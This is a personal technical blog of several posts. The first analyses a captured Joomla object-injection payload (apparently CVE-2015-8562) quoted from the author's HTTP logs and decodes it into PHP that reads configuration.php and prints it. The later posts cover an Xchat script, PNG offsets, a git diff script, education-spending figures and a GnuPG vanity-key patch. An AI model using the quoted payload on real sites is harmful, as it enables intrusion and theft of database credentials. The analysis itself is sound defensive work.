Thursday, 7 July 2016

Server break-in attempts

On my website I log all the HTTP request headers to a file, and today I noticed an interesting bit:
    [HTTP_X_FORWARDED_FOR] => }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:2397:"eval(chr(102).chr(105).chr(108).chr(101).chr(95).chr(112).chr(117).chr(116).chr(95).chr(99).chr(111).chr(110).chr(116).chr(101).chr(110).chr(116).chr(115).chr(40).chr(100).chr(105).chr(114).chr(110).chr(97).chr(109).chr(101).chr(40).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(83).chr(67).chr(82).chr(73).chr(80).chr(84).chr(95).chr(70).chr(73).chr(76).chr(69).chr(78).chr(65).chr(77).chr(69).chr(39).chr(93).chr(41).chr(46).chr(39).chr(47).chr(56).chr(56).chr(46).chr(112).chr(104).chr(112).chr(39).chr(44).chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101).chr(40).chr(39).chr(80).chr(68).chr(57).chr(119).chr(97).chr(72).chr(65).chr(103).chr(74).chr(72).chr(77).chr(103).chr(80).chr(83).chr(82).chr(102).chr(85).chr(48).chr(86).chr(83).chr(86).chr(107).chr(86).chr(83).chr(87).chr(121).chr(100).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(102).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(79).chr(121).chr(82).chr(106).chr(80).chr(87).chr(74).chr(104).chr(99).chr(50).chr(85).chr(50).chr(78).chr(70).chr(57).chr(108).chr(98).chr(109).chr(78).chr(118).chr(90).chr(71).chr(85).chr(111).chr(90).chr(109).chr(108).chr(115).chr(90).chr(86).chr(57).chr(110).chr(90).chr(88).chr(82).chr(102).chr(89).chr(50).chr(57).chr(117).chr(100).chr(71).chr(86).chr(117).chr(100).chr(72).chr(77).chr(111).chr(74).chr(50).chr(78).chr(118).chr(98).chr(109).chr(90).chr(112).chr(90).chr(51).chr(86).chr(121).chr(89).chr(88).chr(82).chr(112).chr(98).chr(50).chr(52).chr(117).chr(99).chr(71).chr(104).chr(119).chr(74).chr(121).chr(107).chr(112).chr(79).chr(50).chr(86).chr(106).chr(97).chr(71).chr(56).chr(103).chr(74).chr(72).chr(77).chr(103).chr(76).chr(105).chr(65).chr(105).chr(73).chr(67).chr(73).chr(103).chr(76).chr(105).chr(65).chr(107).chr(89).chr(122).chr(116).chr(49).chr(98).chr(109).chr(120).chr(112).chr(98).chr(109).chr(115).chr(111).chr(74).chr(70).chr(57).chr(84).chr(82).chr(86).chr(74).chr(87).chr(82).chr(86).chr(74).chr(98).chr(74).chr(49).chr(78).chr(68).chr(85).chr(107).chr(108).chr(81).chr(86).chr(70).chr(57).chr(71).chr(83).chr(85).chr(120).chr(70).chr(84).chr(107).chr(70).chr(78).chr(82).chr(83).chr(100).chr(100).chr(75).chr(84).chr(115).chr(47).chr(80).chr(103).chr(61).chr(61).chr(39).chr(41).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}<F0><FD><FD><FD>

That looks a bit fishy, a bit like a PHP equivalent of an SQL injection attack. Notice the closing curly brace - clearly intended to break out of some parser and inject some unexpected data-code.

What does that chr()-encoded string contain?
file_put_contents(dirname($_SERVER['SCRIPT_FILENAME']).'/88.php',base64_decode('PD9waHAgJHMgPSRfU0VSVkVSWydTRVJWRVJfTkFNRSddOyRjPWJhc2U2NF9lbmNvZGUoZmlsZV9nZXRfY29udGVudHMoJ2NvbmZpZ3VyYXRpb24ucGhwJykpO2VjaG8gJHMgLiAiICIgLiAkYzt1bmxpbmsoJF9TRVJWRVJbJ1NDUklQVF9GSUxFTkFNRSddKTs/Pg=='));

And in turn that Base64-encoded string is:
<?php $s =$_SERVER['SERVER_NAME'];$c=base64_encode(file_get_contents('configuration.php'));echo $s . " " . $c;unlink($_SERVER['SCRIPT_FILENAME']);?>

So that's what they're after - a list of hostnames and the contents of configuration.php.

Some Internet searching reveals that this is probably CVE-2015-8562. I'm tempted to record the IP addresses of the clients that attempt these code injections and return them with a fake Joomla configuration on requests for /88.php.

Sunday, 19 June 2016

Xchat script for catching flash-in-the-pan users

I've been trying to speak to someone on IRC who is only very sporadically online, and when they are, it's often for less than a minute. They probably just connect, see no activity (in a very short period) and thus leave again. I'm in self-exile from the channel they join, so they don't greet me, which would normally trigger my IRC client's nick catcher that pops up an alert.

/notify helps me to at least see when they were online, but it doesn't help me catch them while they're still online. Xchat's "Friends" list doesn't pop up an alert, unfortunately. Frustratingly I often check on IRC only to see that they had been online while I was at my computer - just busy doing something else.

So I wrote an Xchat script to help me out. It's a script that performs an arbitrary command when a matching "Notify Online" event occurs. I've set it to msg myself, which will cause Xchat to pop up an alert, and hopefully I'll notice that while I'm working on my dark web drug marketplace or watching pr0n.

The script: http://www.bpj-code.co.za/downloads.php/xchat/blitzchat.pl?text

Saturday, 11 June 2016

TIL: PNG images can specify an offset

I'm working with a world map that I want to treat as consisting of 20x20 tiles. Because the image is 7964x3980, I need to add 8 pixels on the western and eastern edges. Seems simple enough:
$ convert +append WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png WorldMap-A_non-Frame.png /tmp/threeworlds.png $ convert -crop 7980x3980+7956+0 /tmp/threeworlds.png world-tiled.png

The first command is to replicate the map so that the larger crop window can grab the 8 columns of pixels of the East and paste them west of the West, and the same for the opposite edge of the image.

Now I thought it would be simple to view a window of this map, scaled down by some integer factor. A degenerate case is to view the whole map, at a 1:1 scaling:
$ convert -crop 7980x3980+0+0 -scale 399x199 world-tiled.png /tmp/wf.png $ file /tmp/wf.jpeg /tmp/wf.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPCM), density 28x28, segment length 16, baseline, precision 8, 1x199, frames 3

WAT

I'm tearing my hair out trying to figure out why world-tiled.png crops this way, but WorldMap-A_non-Frame.png crops exactly as expected when I notice one Internet search result using the -repage argument to convert(1). Combined with some warnings I saw while flailing about with random geometry specifications:
$ convert world-tiled.png  -crop 7900x3900+0+0 /tmp/wf.jpeg convert: geometry does not contain image `world-tiled.png' @ warning/transform.c/CropImage/674.

I start to wonder if there's some metadata in PNG files that file(1) doesn't report, that characterizes the coordinate system reference frame for the pixel data. Indeed, when I load world-tiled.png in GIMP, it prompts me whether I want to keep the image offset or ditch it.

I ditch the offset of course, let GIMP overwrite the image, and since then my image crops as expected. Side benefit: GIMP seems to compress the image harder, although that may just be a difference in defaults.

Friday, 5 February 2016

Diffs without noise

Over the last year or five I've been on a particular refactoring campaign in my gEDA fork. I'm trying to reduce the number of places where an object's forward and reverse pointers get accessed explicitly. To find all these places, I temporarily renamed these pointer fields to something unique so that I can reliably find and edit all these occurrences at any given time. So my working directory is full of noisy diff hunks like this one:

@@ -287,9 +287,9 @@ int f_open_flags(TOPLEVEL *toplevel, PAGE *page, const gchar *filename, o_read(toplevel, page->object_tail, full_filename, &tmp_err); } - for (o_current = page->object_tail->next; + for (o_current = page->object_tail->next_secret; o_current != NULL; - o_current = o_current->next) { + o_current = o_current->next_secret) { /* This would also be a place to emit page signals. */ s_conn_update_object(page, o_current); o_attrib_init_uuid(toplevel, o_current);

When I'm changing some code that doesn't explicitly use these forward and reverse pointers (yet is still required to complete the refactor) I want to see only the diffs from those changes. Without the diff pollution caused by renaming the pointer fields. If only there were a way to canonicalize each side of the diff before comparing them, so as to hide the uninteresting differences... So I wrote a way to do that, using git's external diff tool facility:

#!/bin/sh if test $# -ge 7; then a=`mktemp` b=`mktemp` sed "$GIT_DIFF_OPTS" "$2" >$a sed "$GIT_DIFF_OPTS" "$5" >$b diff -up --label "$1" --label "$5" $a $b rm -f $a $b else diff -up /dev/null "$1" fi true

(It isn't very robust to argument errors.) I invoke it like this:

GIT_DIFF_OPTS='s/_secret//g' GIT_EXTERNAL_DIFF=~/personal-utils/git-diff-sed git diff

Unfortunately diff colouring doesn't happen when using an external diff tool. Otherwise it works like a charm.

Sunday, 25 October 2015

How much do countries spend on education, per capita?

During the recent #FeesMustFall campaign here in South Africa, I wanted to know how much we spend on education, per head, and to compare that figure with other countries' spending. Wikipedia has a list of spending as a percentage of GDP, and a list of countries by GDP per capita, but I didn't find one of spending on education, per capita.

Multiplying the values from each list (I took the UN values for GDP) gave me the result I wanted. I did this with a little Perl script that started off as an attempted one-liner at the shell prompt, but turned out to outgrow that space.

Some highlights from the full list:

1 Monaco: 14216.914 2 Norway: 7043.848 3 Denmark: 4673.838 4 Switzerland: 4412.408 5 Sweden: 3997.356 6 Qatar: 3827.432 ... 12 United States: 2881.56 13 Trinidad and Tobago: 2845.44 ... 21 United Kingdom: 2333.265 22 Israel: 2224.536 23 Germany: 2029.095 24 Kuwait: 1983.524 ... 39 Argentina: 959.4 40 Cuba: 949.96 41 Estonia: 927.744 42 Maldives: 920.64 43 Suriname: 884.34 44 Greece: 870.72 ... 54 Poland: 674.24 55 Botswana: 650.768 56 Slovakia: 645.408 57 Costa Rica: 641.655 58 Croatia: 620.54 59 Brazil: 571.149 ... 69 Gabon: 385.738 70 Kazakhstan: 382.2 71 Romania: 380.679 72 Colombia: 375.648 73 South Africa: 374.544 74 Antigua and Barbuda: 372.33 75 Namibia: 349.568 ... 81 Mauritius: 306.976 82 Tunisia: 302.673 83 Iran: 299.061 ... 97 Swaziland: 219.882 (go go go King Mswati! Maybe if you reduce that a bit more you can have a few more virgins!) ... 115 Lesotho: 133.3 ... 136 Cameroon: 49.173 137 India: 47.988 138 Zimbabwe: 43.838 (wow Bob, so uplifting of your people - but at least you have your land, right?) ... 167 Somalia: 0.532
It's a bit depressing. SA's GDP per capita is close to Cuba's, but they significantly outspend us on education. Botswana too, to a lesser degree. I guess we're too busy bailing out delinquent state-owned enterprises that were de rigueur last century. So we "can't afford" to spend more on education. And a fleet of nuclear power stations is just so much sexier than a more productive workforce, right?

Friday, 17 July 2015

My phone is dead, but ADSL is (barely) up

Three weeks ago I got burgled, and the bastards cut my phone line. My permanently temporary fix involved stripping the wire ends and twisting corresponding ends together. It had also rained plenty the two days before the burglary, and usually rain has meant phone line problems. So it was this time; the phone worked a day or two after my repairs, then it died for a few days. Then it worked for another day or two, but then died again, and has stayed that way for the last week plus change. There is nothing on the line as far as my telephone is concerned. No dial tone, no hum, no buzzing, no hiss. If I still had a multimeter I could measure the on-hook voltage between tip and ring, but I now don't, so I can't. Just to be sure I jury-rigged a 1mA meter with a 47kΩ resistor in series to try and measure the voltage, and again, nothing there. The needle didn't even move.

I'm so glad my ADSL (just about) works though. I really depend on ADSL more than on my telephone, although especially now after the burglary I would have liked to be able to call people to make fire under their arses (I'm looking at you, Hollard / Ooba / 1000 other "partners", it's been three weeks and I've had an army of people come and look at the damage, but the only doing that's happened is what I've done myself).

Better watch that ADSL then, since it's important. So I wrote a script to monitor the ADSL modem's stats. Just some screen-scraping, although I'm sure there's some neat way to do it with SNMP. Add some Gnuplot and I get a nice graph of SNR margins, up and downstream. Red = upstream margin, green = upstream power, the others for downstream.

Thursday, 4 December 2014

Faster vanity key mining with GnuPG

My last post described my work making GnuPG look for keys with memorable keyids. It works, but it's slow, presumably because a lot of work gets repeated between each test, and because each test is expensive. With regular expressions and system calls in the mining loop, GnuPG doesn't get to spend much time computing hashes over the generated public key.

But not anymore! I have a better patch now, that allows GnuPG to spend more time hashing and less time doing things which don't contribute to finding a desired keyid. The kernel / user space context switch is now amortized over millions of hashes, and the loop mining for hashes is tight: nearly all it does now is hashing the public key material.

diff --git a/g10/keygen.c b/g10/keygen.c index 8c3e9f6..a250914 100644 --- a/g10/keygen.c +++ b/g10/keygen.c @@ -19,6 +19,7 @@ */ #include <config.h> +#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> @@ -120,6 +121,7 @@ struct opaque_data_usage_and_pk { PKT_public_key *pk; }; +extern int delta; static int prefs_initialized = 0; static byte sym_prefs[MAX_PREFS]; @@ -1424,6 +1453,7 @@ gen_rsa (int algo, unsigned nbits, KBNODE pub_root, KBNODE sec_root, DEK *dek, STRING2KEY *s2k, PKT_secret_key **ret_sk, u32 timestamp, u32 expireval, int is_subkey) { + extern int searchmode; int rc; PACKET *pkt; PKT_secret_key *sk; @@ -1463,7 +1493,37 @@ gen_rsa (int algo, unsigned nbits, KBNODE pub_root, KBNODE sec_root, DEK *dek, sk = xmalloc_clear( sizeof *sk ); pk = xmalloc_clear( sizeof *pk ); - sk->timestamp = pk->timestamp = timestamp; + if (getenv("GNUPG_KEYSEARCH")) { + switch (fork()) { + int status; + case -1: + /* Fall back to normal behaviour. */ + break; + case 0: + /* Set search mode and continue executing. */ + searchmode = 1; + break; + default: + wait(&status); + log_debug("Child returned %d\n", WEXITSTATUS(status)); + if (WEXITSTATUS(status)) { + /* Can't find a matching key - just continue. */ + } else { + /* Key matches - fudge timestamp. */ + int fd; + fd = open("/tmp/keysearch", O_RDONLY); + if (fd != -1) { + read(fd, &delta, sizeof (delta)); + close(fd); + log_debug("Continuing with delta=%d\n", delta); + } else { + log_debug("Couldn't open /tmp/keysearch\n"); + } + } + break; + } + } + sk->timestamp = pk->timestamp = timestamp + delta; sk->version = pk->version = 4; if (expireval) { diff --git a/g10/keyid.c b/g10/keyid.c index d7a877b..4d5d370 100644 --- a/g10/keyid.c +++ b/g10/keyid.c @@ -19,6 +19,7 @@ */ #include <config.h> +#include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> @@ -124,15 +125,63 @@ hash_public_key( gcry_md_hd_t md, PKT_public_key *pk ) } } -static gcry_md_hd_t +int searchmode = 0; + +gcry_md_hd_t do_fingerprint_md( PKT_public_key *pk ) { gcry_md_hd_t md; + int delta; + const byte *dp; + unsigned char keyid[8]; + char const *keysearch = getenv("GNUPG_KEYSEARCH"); + int keysearch_len = keysearch ? strlen(keysearch) : 0; + int spread = searchmode && keysearch ? 33554432-1 : 0; + u32 original_timestamp = pk->timestamp; - if (gcry_md_open (&md, DIGEST_ALGO_SHA1, 0)) - BUG (); - hash_public_key(md,pk); - gcry_md_final( md ); + if (searchmode && keysearch) { + int i; + + memset(keyid, 0, sizeof (keyid)); + for (i = 0; i < keysearch_len/2; i++) { + sscanf(keysearch + i*2 + keysearch_len%2, "%02hhx", keyid+i); + } + log_debug("Searching for key fingerprints ending in %02X%02X%02X%02X%02X%02X%02X%02X\n", + keyid[0], keyid[1], keyid[2], keyid[3], keyid[4], keyid[5], keyid[6], keyid[7]); + } + for (delta = -spread; delta <= 0; delta++) { + if (gcry_md_open (&md, DIGEST_ALGO_SHA1, 0)) + BUG (); + pk->timestamp = original_timestamp + delta; + hash_public_key(md,pk); + gcry_md_final( md ); + if (searchmode && keysearch) { + dp = gcry_md_read(md, 0); + if (memcmp(dp + 20 - keysearch_len/2, keyid, keysearch_len/2)) { + if (delta % 1000000 == 0) { + log_debug("Trying delta = %d\n", delta); + } + } else { + int fd; + fd = open("/tmp/keysearch", O_CREAT|O_WRONLY, 0666); + if (fd == -1) { + log_debug("Couldn't open /tmp/keysearch\n"); + continue; + } + write(fd, &delta, sizeof (delta)); + close(fd); + log_debug("Found delta = %d\n", delta); + exit(0); + } + gcry_md_close(md); + } + } + + if (searchmode) { + /* Failed to find a matching key. */ + log_debug("Never found a matching key\n"); + exit(1); + } return md; }

I now have 0x5EAF00D5 and 0x0B5E55ED, and I'm not sure what else I want to mine. Maybe I'll just stick with 0xDEC0DED1 for now.